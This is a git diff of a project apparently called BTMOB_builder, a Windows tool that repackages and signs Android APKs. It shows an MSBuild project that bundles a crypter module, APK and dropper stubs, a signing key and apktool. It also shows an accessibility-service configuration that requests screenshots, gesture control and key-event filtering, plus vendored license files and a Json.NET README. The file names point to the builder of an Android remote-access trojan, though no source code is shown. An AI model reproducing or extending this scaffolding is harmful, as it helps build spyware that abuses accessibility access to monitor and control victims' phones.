android:canRequestEnhancedWebAccessibility="true" android:canRequestFilterKeyEvents="true" android:canPerformGestures="true" android:interactiveUiTimeout="0" android:canTakeScreenshot="true" android:isAccessibilityTool="true" android:accessibilityDataSensitive="no"
|
||||||
|
xmlns:android="http://schemas.android.com/apk/res/android" />
|
||||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,27 @@
|
|||||||
|
-----BEGIN CERTIFICATE-----
|
||||||
|
MIIEqDCCA5CgAwIBAgIJAJNurL4H8gHfMA0GCSqGSIb3DQEBBQUAMIGUMQswCQYD
|
||||||
|
VQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4g
|
||||||
|
VmlldzEQMA4GA1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UE
|
||||||
|
AxMHQW5kcm9pZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTAe
|
||||||
|
Fw0wODAyMjkwMTMzNDZaFw0zNTA3MTcwMTMzNDZaMIGUMQswCQYDVQQGEwJVUzET
|
||||||
|
MBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4G
|
||||||
|
A1UEChMHQW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9p
|
||||||
|
ZDEiMCAGCSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbTCCASAwDQYJKoZI
|
||||||
|
hvcNAQEBBQADggENADCCAQgCggEBANaTGQTexgskse3HYuDZ2CU+Ps1s6x3i/waM
|
||||||
|
qOi8qM1r03hupwqnbOYOuw+ZNVn/2T53qUPn6D1LZLjk/qLT5lbx4meoG7+yMLV4
|
||||||
|
wgRDvkxyGLhG9SEVhvA4oU6Jwr44f46+z4/Kw9oe4zDJ6pPQp8PcSvNQIg1QCAcy
|
||||||
|
4ICXF+5qBTNZ5qaU7Cyz8oSgpGbIepTYOzEJOmc3Li9kEsBubULxWBjf/gOBzAzU
|
||||||
|
RNps3cO4JFgZSAGzJWQTT7/emMkod0jb9WdqVA2BVMi7yge54kdVMxHEa5r3b97s
|
||||||
|
zI5p58ii0I54JiCUP5lyfTwE/nKZHZnfm644oLIXf6MdW2r+6R8CAQOjgfwwgfkw
|
||||||
|
HQYDVR0OBBYEFEhZAFY9JyxGrhGGBaR0GawJyowRMIHJBgNVHSMEgcEwgb6AFEhZ
|
||||||
|
AFY9JyxGrhGGBaR0GawJyowRoYGapIGXMIGUMQswCQYDVQQGEwJVUzETMBEGA1UE
|
||||||
|
CBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEQMA4GA1UEChMH
|
||||||
|
QW5kcm9pZDEQMA4GA1UECxMHQW5kcm9pZDEQMA4GA1UEAxMHQW5kcm9pZDEiMCAG
|
||||||
|
CSqGSIb3DQEJARYTYW5kcm9pZEBhbmRyb2lkLmNvbYIJAJNurL4H8gHfMAwGA1Ud
|
||||||
|
EwQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAHqvlozrUMRBBVEY0NqrrwFbinZa
|
||||||
|
J6cVosK0TyIUFf/azgMJWr+kLfcHCHJsIGnlw27drgQAvilFLAhLwn62oX6snb4Y
|
||||||
|
LCBOsVMR9FXYJLZW2+TcIkCRLXWG/oiVHQGo/rWuWkJgU134NDEFJCJGjDbiLCpe
|
||||||
|
+ZTWHdcwauTJ9pUbo8EvHRkU3cYfGmLaLfgn9gP+pWA7LFQNvXwBnDa6sppCccEX
|
||||||
|
31I828XzgXpJ4O+mDL1/dBd+ek8ZPUP0IgdyZm5MTYPhvVqGCHzzTy3sIeJFymwr
|
||||||
|
sBbmg2OAUNLEMO6nwmocSdN2ClirfxqCzJOLSDE4QyS9BAH6EhY6UFcOaE0=
|
||||||
|
-----END CERTIFICATE-----
|
||||||
Binary file not shown.
@@ -0,0 +1,4 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
|
||||||
|
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
|
/>
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,164 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||||
|
<PropertyGroup>
|
||||||
|
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||||
|
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||||
|
<ProjectGuid>{7337EA08-4AF7-4171-9739-0F6B362ECB6E}</ProjectGuid>
|
||||||
|
<OutputType>Exe</OutputType>
|
||||||
|
<StartupObject>Sub Main</StartupObject>
|
||||||
|
<RootNamespace>SolrWorker</RootNamespace>
|
||||||
|
<AssemblyName>SolrWorker</AssemblyName>
|
||||||
|
<FileAlignment>512</FileAlignment>
|
||||||
|
<MyType>Console</MyType>
|
||||||
|
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
|
||||||
|
<Deterministic>true</Deterministic>
|
||||||
|
<TargetFrameworkProfile />
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugSymbols>true</DebugSymbols>
|
||||||
|
<DebugType>full</DebugType>
|
||||||
|
<DefineDebug>true</DefineDebug>
|
||||||
|
<DefineTrace>true</DefineTrace>
|
||||||
|
<OutputPath>..\..\..\..\..\..\xampp\htdocs\BTMOB\private\builder\</OutputPath>
|
||||||
|
<DocumentationFile>SolrWorker.xml</DocumentationFile>
|
||||||
|
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||||
|
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||||
|
<DebugType>pdbonly</DebugType>
|
||||||
|
<DefineDebug>false</DefineDebug>
|
||||||
|
<DefineTrace>true</DefineTrace>
|
||||||
|
<Optimize>true</Optimize>
|
||||||
|
<OutputPath>bin\Release\</OutputPath>
|
||||||
|
<DocumentationFile>SolrWorker.xml</DocumentationFile>
|
||||||
|
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022</NoWarn>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<OptionExplicit>On</OptionExplicit>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<OptionCompare>Binary</OptionCompare>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<OptionStrict>Off</OptionStrict>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<OptionInfer>On</OptionInfer>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<ApplicationManifest>My Project\app.manifest</ApplicationManifest>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup>
|
||||||
|
<AutoGenerateBindingRedirects>true</AutoGenerateBindingRedirects>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Reference Include="DotNetZip, Version=1.16.0.0, Culture=neutral, PublicKeyToken=6583c7c814667745, processorArchitecture=MSIL">
|
||||||
|
<HintPath>..\packages\DotNetZip.1.16.0\lib\net40\DotNetZip.dll</HintPath>
|
||||||
|
</Reference>
|
||||||
|
<Reference Include="Newtonsoft.Json, Version=13.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
|
||||||
|
<SpecificVersion>False</SpecificVersion>
|
||||||
|
<HintPath>..\SolrStarter\bin\Debug\Newtonsoft.Json.dll</HintPath>
|
||||||
|
</Reference>
|
||||||
|
<Reference Include="System" />
|
||||||
|
<Reference Include="System.Data" />
|
||||||
|
<Reference Include="System.Deployment" />
|
||||||
|
<Reference Include="System.Drawing" />
|
||||||
|
<Reference Include="System.IO.Compression.FileSystem" />
|
||||||
|
<Reference Include="System.IO.Compression.ZipFile, Version=4.0.2.0, Culture=neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=MSIL">
|
||||||
|
<HintPath>..\packages\System.IO.Compression.ZipFile.4.3.0\lib\net46\System.IO.Compression.ZipFile.dll</HintPath>
|
||||||
|
</Reference>
|
||||||
|
<Reference Include="System.Windows.Forms" />
|
||||||
|
<Reference Include="System.Xml" />
|
||||||
|
<Reference Include="System.Core" />
|
||||||
|
<Reference Include="System.Xml.Linq" />
|
||||||
|
<Reference Include="System.Data.DataSetExtensions" />
|
||||||
|
<Reference Include="System.Net.Http" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Import Include="Microsoft.VisualBasic" />
|
||||||
|
<Import Include="System" />
|
||||||
|
<Import Include="System.Collections" />
|
||||||
|
<Import Include="System.Collections.Generic" />
|
||||||
|
<Import Include="System.Data" />
|
||||||
|
<Import Include="System.Diagnostics" />
|
||||||
|
<Import Include="System.Linq" />
|
||||||
|
<Import Include="System.Xml.Linq" />
|
||||||
|
<Import Include="System.Threading.Tasks" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Compile Include="Codes.vb" />
|
||||||
|
<Compile Include="Crypters.vb" />
|
||||||
|
<Compile Include="Mylogger.vb" />
|
||||||
|
<Compile Include="Worker.vb" />
|
||||||
|
<Compile Include="My Project\AssemblyInfo.vb" />
|
||||||
|
<Compile Include="My Project\Application.Designer.vb">
|
||||||
|
<AutoGen>True</AutoGen>
|
||||||
|
<DependentUpon>Application.myapp</DependentUpon>
|
||||||
|
<DesignTime>True</DesignTime>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="My Project\Resources.Designer.vb">
|
||||||
|
<AutoGen>True</AutoGen>
|
||||||
|
<DesignTime>True</DesignTime>
|
||||||
|
<DependentUpon>Resources.resx</DependentUpon>
|
||||||
|
</Compile>
|
||||||
|
<Compile Include="My Project\Settings.Designer.vb">
|
||||||
|
<AutoGen>True</AutoGen>
|
||||||
|
<DependentUpon>Settings.settings</DependentUpon>
|
||||||
|
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||||
|
</Compile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<EmbeddedResource Include="My Project\Resources.resx">
|
||||||
|
<Generator>VbMyResourcesResXFileCodeGenerator</Generator>
|
||||||
|
<LastGenOutput>Resources.Designer.vb</LastGenOutput>
|
||||||
|
<CustomToolNamespace>My.Resources</CustomToolNamespace>
|
||||||
|
<SubType>Designer</SubType>
|
||||||
|
</EmbeddedResource>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="My Project\app.manifest" />
|
||||||
|
<None Include="My Project\Application.myapp">
|
||||||
|
<Generator>MyApplicationCodeGenerator</Generator>
|
||||||
|
<LastGenOutput>Application.Designer.vb</LastGenOutput>
|
||||||
|
</None>
|
||||||
|
<None Include="My Project\Settings.settings">
|
||||||
|
<Generator>SettingsSingleFileGenerator</Generator>
|
||||||
|
<CustomToolNamespace>My</CustomToolNamespace>
|
||||||
|
<LastGenOutput>Settings.Designer.vb</LastGenOutput>
|
||||||
|
</None>
|
||||||
|
<None Include="App.config" />
|
||||||
|
<None Include="packages.config" />
|
||||||
|
<None Include="Resources\apkstub.zip" />
|
||||||
|
<None Include="Resources\APPS.zip" />
|
||||||
|
<None Include="Resources\certificate.pem" />
|
||||||
|
<None Include="Resources\dropstub.zip" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\javaJDK.jar" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\key.pk8" />
|
||||||
|
<None Include="Resources\signapk.jar" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\zipalign.exe" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\accessibilityprivatesrcapp.xml" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\7.exe" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\emptyaccess.xml" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\apktool.jar" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="Resources\APKEditor.jar" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
|
||||||
|
</Project>
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)' == 'Debug|AnyCPU'">
|
||||||
|
<StartArguments>
|
||||||
|
</StartArguments>
|
||||||
|
<StartWorkingDirectory>
|
||||||
|
</StartWorkingDirectory>
|
||||||
|
</PropertyGroup>
|
||||||
|
</Project>
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,7 @@
|
|||||||
|
' <autogenerated/>
|
||||||
|
Option Strict Off
|
||||||
|
Option Explicit On
|
||||||
|
|
||||||
|
Imports System
|
||||||
|
Imports System.Reflection
|
||||||
|
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.5", FrameworkDisplayName:="")>
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
' <autogenerated/>
|
||||||
|
Option Strict Off
|
||||||
|
Option Explicit On
|
||||||
|
|
||||||
|
Imports System
|
||||||
|
Imports System.Reflection
|
||||||
|
<Assembly: Global.System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.8", FrameworkDisplayName:=".NET Framework 4.8")>
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,5 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<packages>
|
||||||
|
<package id="DotNetZip" version="1.16.0" targetFramework="net45" />
|
||||||
|
<package id="System.IO.Compression.ZipFile" version="4.3.0" targetFramework="net46" />
|
||||||
|
</packages>
|
||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
@@ -0,0 +1,20 @@
|
|||||||
|
The MIT License (MIT)
|
||||||
|
|
||||||
|
Copyright (c) 2007 James Newton-King
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy of
|
||||||
|
this software and associated documentation files (the "Software"), to deal in
|
||||||
|
the Software without restriction, including without limitation the rights to
|
||||||
|
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
|
||||||
|
the Software, and to permit persons to whom the Software is furnished to do so,
|
||||||
|
subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
|
||||||
|
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
|
||||||
|
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
|
||||||
|
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||||
Binary file not shown.
@@ -0,0 +1,71 @@
|
|||||||
|
#  Json.NET
|
||||||
|
|
||||||
|
[](https://www.nuget.org/packages/Newtonsoft.Json/)
|
||||||
|
[](https://dev.azure.com/jamesnk/Public/_build/latest?definitionId=8)
|
||||||
|
|
||||||
|
Json.NET is a popular high-performance JSON framework for .NET
|
||||||
|
|
||||||
|
## Serialize JSON
|
||||||
|
|
||||||
|
```csharp
|
||||||
|
Product product = new Product();
|
||||||
|
product.Name = "Apple";
|
||||||
|
product.Expiry = new DateTime(2008, 12, 28);
|
||||||
|
product.Sizes = new string[] { "Small" };
|
||||||
|
|
||||||
|
string json = JsonConvert.SerializeObject(product);
|
||||||
|
// {
|
||||||
|
// "Name": "Apple",
|
||||||
|
// "Expiry": "2008-12-28T00:00:00",
|
||||||
|
// "Sizes": [
|
||||||
|
// "Small"
|
||||||
|
// ]
|
||||||
|
// }
|
||||||
|
```
|
||||||
|
|
||||||
|
## Deserialize JSON
|
||||||
|
|
||||||
|
```csharp
|
||||||
|
string json = @"{
|
||||||
|
'Name': 'Bad Boys',
|
||||||
|
'ReleaseDate': '1995-4-7T00:00:00',
|
||||||
|
'Genres': [
|
||||||
|
'Action',
|
||||||
|
'Comedy'
|
||||||
|
]
|
||||||
|
}";
|
||||||
|
|
||||||
|
Movie m = JsonConvert.DeserializeObject<Movie>(json);
|
||||||
|
|
||||||
|
string name = m.Name;
|
||||||
|
// Bad Boys
|
||||||
|
```
|
||||||
|
|
||||||
|
## LINQ to JSON
|
||||||
|
|
||||||
|
```csharp
|
||||||
|
JArray array = new JArray();
|
||||||
|
array.Add("Manual text");
|
||||||
|
array.Add(new DateTime(2000, 5, 23));
|
||||||
|
|
||||||
|
JObject o = new JObject();
|
||||||
|
o["MyArray"] = array;
|
||||||
|
|
||||||
|
string json = o.ToString();
|
||||||
|
// {
|
||||||
|
// "MyArray": [
|
||||||
|
// "Manual text",
|
||||||
|
// "2000-05-23T00:00:00"
|
||||||
|
// ]
|
||||||
|
// }
|
||||||
|
```
|
||||||
|
|
||||||
|
## Links
|
||||||
|
|
||||||
|
- [Homepage](https://www.newtonsoft.com/json)
|
||||||
|
- [Documentation](https://www.newtonsoft.com/json/help)
|
||||||
|
- [NuGet Package](https://www.nuget.org/packages/Newtonsoft.Json)
|
||||||
|
- [Release Notes](https://github.com/JamesNK/Newtonsoft.Json/releases)
|
||||||
|
- [Contributing Guidelines](https://github.com/JamesNK/Newtonsoft.Json/blob/master/CONTRIBUTING.md)
|
||||||
|
- [License](https://github.com/JamesNK/Newtonsoft.Json/blob/master/LICENSE.md)
|
||||||
|
- [Stack Overflow](https://stackoverflow.com/questions/tagged/json.net)
|
||||||
Binary file not shown.
+10393
File diff suppressed because it is too large
Load Diff
Binary file not shown.
+9541
File diff suppressed because it is too large
Load Diff
Binary file not shown.
+9741
File diff suppressed because it is too large
Load Diff
Binary file not shown.
+11363
File diff suppressed because it is too large
Load Diff
Binary file not shown.
+11325
File diff suppressed because it is too large
Load Diff
BIN
Binary file not shown.
+11051
File diff suppressed because it is too large
Load Diff
BIN
Binary file not shown.
+11173
File diff suppressed because it is too large
Load Diff
BIN
Binary file not shown.
+11338
File diff suppressed because it is too large
Load Diff
Binary file not shown.
|
After Width: | Height: | Size: 8.7 KiB |
Binary file not shown.
BTMOB_builder/packages/System.IO.Compression.ZipFile.4.3.0/System.IO.Compression.ZipFile.4.3.0.nupkg
Vendored
BIN
Binary file not shown.
+31
@@ -0,0 +1,31 @@
|
|||||||
|
This Microsoft .NET Library may incorporate components from the projects listed
|
||||||
|
below. Microsoft licenses these components under the Microsoft .NET Library
|
||||||
|
software license terms. The original copyright notices and the licenses under
|
||||||
|
which Microsoft received such components are set forth below for informational
|
||||||
|
purposes only. Microsoft reserves all rights not expressly granted herein,
|
||||||
|
whether by implication, estoppel or otherwise.
|
||||||
|
|
||||||
|
1. .NET Core (https://github.com/dotnet/core/)
|
||||||
|
|
||||||
|
.NET Core
|
||||||
|
Copyright (c) .NET Foundation and Contributors
|
||||||
|
|
||||||
|
The MIT License (MIT)
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
+128
@@ -0,0 +1,128 @@
|
|||||||
|
|
||||||
|
MICROSOFT SOFTWARE LICENSE TERMS
|
||||||
|
|
||||||
|
|
||||||
|
MICROSOFT .NET LIBRARY
|
||||||
|
|
||||||
|
These license terms are an agreement between Microsoft Corporation (or based on where you live, one of its affiliates) and you. Please read them. They apply to the software named above, which includes the media on which you received it, if any. The terms also apply to any Microsoft
|
||||||
|
|
||||||
|
· updates,
|
||||||
|
|
||||||
|
· supplements,
|
||||||
|
|
||||||
|
· Internet-based services, and
|
||||||
|
|
||||||
|
· support services
|
||||||
|
|
||||||
|
for this software, unless other terms accompany those items. If so, those terms apply.
|
||||||
|
|
||||||
|
BY USING THE SOFTWARE, YOU ACCEPT THESE TERMS. IF YOU DO NOT ACCEPT THEM, DO NOT USE THE SOFTWARE.
|
||||||
|
|
||||||
|
|
||||||
|
IF YOU COMPLY WITH THESE LICENSE TERMS, YOU HAVE THE PERPETUAL RIGHTS BELOW.
|
||||||
|
|
||||||
|
1. INSTALLATION AND USE RIGHTS.
|
||||||
|
|
||||||
|
a. Installation and Use. You may install and use any number of copies of the software to design, develop and test your programs.
|
||||||
|
|
||||||
|
b. Third Party Programs. The software may include third party programs that Microsoft, not the third party, licenses to you under this agreement. Notices, if any, for the third party program are included for your information only.
|
||||||
|
|
||||||
|
2. ADDITIONAL LICENSING REQUIREMENTS AND/OR USE RIGHTS.
|
||||||
|
|
||||||
|
a. DISTRIBUTABLE CODE. The software is comprised of Distributable Code. “Distributable Code” is code that you are permitted to distribute in programs you develop if you comply with the terms below.
|
||||||
|
|
||||||
|
i. Right to Use and Distribute.
|
||||||
|
|
||||||
|
· You may copy and distribute the object code form of the software.
|
||||||
|
|
||||||
|
· Third Party Distribution. You may permit distributors of your programs to copy and distribute the Distributable Code as part of those programs.
|
||||||
|
|
||||||
|
ii. Distribution Requirements. For any Distributable Code you distribute, you must
|
||||||
|
|
||||||
|
· add significant primary functionality to it in your programs;
|
||||||
|
|
||||||
|
· require distributors and external end users to agree to terms that protect it at least as much as this agreement;
|
||||||
|
|
||||||
|
· display your valid copyright notice on your programs; and
|
||||||
|
|
||||||
|
· indemnify, defend, and hold harmless Microsoft from any claims, including attorneys’ fees, related to the distribution or use of your programs.
|
||||||
|
|
||||||
|
iii. Distribution Restrictions. You may not
|
||||||
|
|
||||||
|
· alter any copyright, trademark or patent notice in the Distributable Code;
|
||||||
|
|
||||||
|
· use Microsoft’s trademarks in your programs’ names or in a way that suggests your programs come from or are endorsed by Microsoft;
|
||||||
|
|
||||||
|
· include Distributable Code in malicious, deceptive or unlawful programs; or
|
||||||
|
|
||||||
|
· modify or distribute the source code of any Distributable Code so that any part of it becomes subject to an Excluded License. An Excluded License is one that requires, as a condition of use, modification or distribution, that
|
||||||
|
|
||||||
|
· the code be disclosed or distributed in source code form; or
|
||||||
|
|
||||||
|
· others have the right to modify it.
|
||||||
|
|
||||||
|
3. SCOPE OF LICENSE. The software is licensed, not sold. This agreement only gives you some rights to use the software. Microsoft reserves all other rights. Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement. In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways. You may not
|
||||||
|
|
||||||
|
· work around any technical limitations in the software;
|
||||||
|
|
||||||
|
· reverse engineer, decompile or disassemble the software, except and only to the extent that applicable law expressly permits, despite this limitation;
|
||||||
|
|
||||||
|
· publish the software for others to copy;
|
||||||
|
|
||||||
|
· rent, lease or lend the software;
|
||||||
|
|
||||||
|
· transfer the software or this agreement to any third party; or
|
||||||
|
|
||||||
|
· use the software for commercial software hosting services.
|
||||||
|
|
||||||
|
4. BACKUP COPY. You may make one backup copy of the software. You may use it only to reinstall the software.
|
||||||
|
|
||||||
|
5. DOCUMENTATION. Any person that has valid access to your computer or internal network may copy and use the documentation for your internal, reference purposes.
|
||||||
|
|
||||||
|
6. EXPORT RESTRICTIONS. The software is subject to United States export laws and regulations. You must comply with all domestic and international export laws and regulations that apply to the software. These laws include restrictions on destinations, end users and end use. For additional information, see www.microsoft.com/exporting.
|
||||||
|
|
||||||
|
7. SUPPORT SERVICES. Because this software is “as is,” we may not provide support services for it.
|
||||||
|
|
||||||
|
8. ENTIRE AGREEMENT. This agreement, and the terms for supplements, updates, Internet-based services and support services that you use, are the entire agreement for the software and support services.
|
||||||
|
|
||||||
|
9. APPLICABLE LAW.
|
||||||
|
|
||||||
|
a. United States. If you acquired the software in the United States, Washington state law governs the interpretation of this agreement and applies to claims for breach of it, regardless of conflict of laws principles. The laws of the state where you live govern all other claims, including claims under state consumer protection laws, unfair competition laws, and in tort.
|
||||||
|
|
||||||
|
b. Outside the United States. If you acquired the software in any other country, the laws of that country apply.
|
||||||
|
|
||||||
|
10. LEGAL EFFECT. This agreement describes certain legal rights. You may have other rights under the laws of your country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so.
|
||||||
|
|
||||||
|
11. DISCLAIMER OF WARRANTY. THE SOFTWARE IS LICENSED “AS-IS.” YOU BEAR THE RISK OF USING IT. MICROSOFT GIVES NO EXPRESS WARRANTIES, GUARANTEES OR CONDITIONS. YOU MAY HAVE ADDITIONAL CONSUMER RIGHTS OR STATUTORY GUARANTEES UNDER YOUR LOCAL LAWS WHICH THIS AGREEMENT CANNOT CHANGE. TO THE EXTENT PERMITTED UNDER YOUR LOCAL LAWS, MICROSOFT EXCLUDES THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
|
||||||
|
|
||||||
|
FOR AUSTRALIA – YOU HAVE STATUTORY GUARANTEES UNDER THE AUSTRALIAN CONSUMER LAW AND NOTHING IN THESE TERMS IS INTENDED TO AFFECT THOSE RIGHTS.
|
||||||
|
|
||||||
|
12. LIMITATION ON AND EXCLUSION OF REMEDIES AND DAMAGES. YOU CAN RECOVER FROM MICROSOFT AND ITS SUPPLIERS ONLY DIRECT DAMAGES UP TO U.S. $5.00. YOU CANNOT RECOVER ANY OTHER DAMAGES, INCLUDING CONSEQUENTIAL, LOST PROFITS, SPECIAL, INDIRECT OR INCIDENTAL DAMAGES.
|
||||||
|
|
||||||
|
This limitation applies to
|
||||||
|
|
||||||
|
· anything related to the software, services, content (including code) on third party Internet sites, or third party programs; and
|
||||||
|
|
||||||
|
· claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicable law.
|
||||||
|
|
||||||
|
It also applies even if Microsoft knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages.
|
||||||
|
|
||||||
|
Please note: As this software is distributed in Quebec, Canada, some of the clauses in this agreement are provided below in French.
|
||||||
|
|
||||||
|
Remarque : Ce logiciel étant distribué au Québec, Canada, certaines des clauses dans ce contrat sont fournies ci-dessous en français.
|
||||||
|
|
||||||
|
EXONÉRATION DE GARANTIE. Le logiciel visé par une licence est offert « tel quel ». Toute utilisation de ce logiciel est à votre seule risque et péril. Microsoft n’accorde aucune autre garantie expresse. Vous pouvez bénéficier de droits additionnels en vertu du droit local sur la protection des consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualité marchande, d’adéquation à un usage particulier et d’absence de contrefaçon sont exclues.
|
||||||
|
|
||||||
|
LIMITATION DES DOMMAGES-INTÉRÊTS ET EXCLUSION DE RESPONSABILITÉ POUR LES DOMMAGES. Vous pouvez obtenir de Microsoft et de ses fournisseurs une indemnisation en cas de dommages directs uniquement à hauteur de 5,00 $ US. Vous ne pouvez prétendre à aucune indemnisation pour les autres dommages, y compris les dommages spéciaux, indirects ou accessoires et pertes de bénéfices.
|
||||||
|
|
||||||
|
Cette limitation concerne :
|
||||||
|
|
||||||
|
